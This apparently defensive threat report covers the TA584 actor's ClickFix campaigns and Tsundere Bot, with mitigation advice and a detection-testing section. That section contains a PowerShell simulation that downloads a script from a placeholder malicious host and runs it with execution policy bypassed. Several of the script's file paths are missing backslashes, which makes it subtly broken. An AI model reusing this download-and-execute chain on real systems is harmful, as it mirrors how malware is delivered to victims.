TA584 innovates initial access

Summary

TA584 is a prolific cybercriminal initial-access broker known for rapidly rotating infrastructure, diverse email lure themes, and heavy use of ClickFix-style social engineering. Recent activity shows the actor delivering commodity malware like XWorm alongside a newly observed implant dubbed Tsundere Bot. The combination of fast-changing delivery paths and flexible payload selection makes TA584 campaigns difficult to block with static indicators alone.

Investigation

Proofpoint analyzed 2025 campaigns and documented a move away from macro-enabled Excel attachments toward ClickFix landing pages that induce victims to run PowerShell. Those scripts then retrieve and execute downstream payloads. The report highlights TA584’s use of AWS S3, 404 TDS, and compromised domains to obscure payload hosting and dynamically redirect to final malware locations.

Mitigation

Prioritize controls that reduce script-based execution: restrict PowerShell, and apply application control to prevent node.exe from running in user-writable directories. Monitor for suspicious Ethereum RPC usage and inspect WebSocket traffic patterns that align with C2 behavior, especially when initiated by unexpected processes or from non-standard network paths.

Response

If detected, isolate the endpoint, stop PowerShell or node.exe processes launched from non-system locations, and block the identified C2 domains/IPs. Preserve and collect the full PowerShell command line, script artifacts, and relevant registry data to support scoping and eradication.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  An adversary obtains a short URL (e.g., http://malicious.example.com/i) that resolves to a PowerShell script hosted on a compromised server. The script performs the following steps:

  1. Downloads the Tsundere Bot installer script (install.ps1).
  2. Installs the latest Node.js runtime silently.
  3. Clones the malicious JavaScript payload from a Git repository.
  4. Executes the payload via node.exe.

  Because the rule watches for any creation of powershell.exe or node.exe, this chain will generate two distinct process‑creation events that satisfy the detection condition.

• Regression Test Script:

  # -------------------------------------------------
  # Tsundere Bot Installation Simulation – PowerShell
  # -------------------------------------------------
  # Step 1: Download and invoke the remote installer script
  $installerUrl = "http://malicious.example.com/install.ps1"
  $tempScript = "$env:TEMPinstall.ps1"
  
  # Download the installer script (simulated)
  Invoke-WebRequest -Uri $installerUrl -OutFile $tempScript -UseBasicParsing
  
  # Step 2: Execute the installer script – this spawns powershell.exe
  Write-Host "[*] Executing remote installer..."
  powershell -NoProfile -ExecutionPolicy Bypass -File $tempScript
  
  # Step 3: The installer (simulated here) installs Node.js silently
  # For the purpose of the test we directly invoke node.exe
  $nodePath = "C:Program Filesnodejsnode.exe"
  $payloadPath = "$env:TEMPtsundere_bot.js"
  
  # Simulate a downloaded JS payload
  Set-Content -Path $payloadPath -Value 'console.log("Tsundere Bot running");'
  
  # Step 4: Run the malicious JS payload – this spawns node.exe
  Write-Host "[*] Running malicious JavaScript payload..."
  & "$nodePath" "$payloadPath"
  # -------------------------------------------------

• Cleanup Commands:

  # Remove temporary files
  Remove-Item -Path "$env:TEMPinstall.ps1" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPtsundere_bot.js" -Force -ErrorAction SilentlyContinue
  
  # Optionally uninstall Node.js (if installed by the test)
  # Uninstall‑Program -Name "Node.js"   # Placeholder for actual uninstaller
  
  Write-Host "[*] Cleanup complete."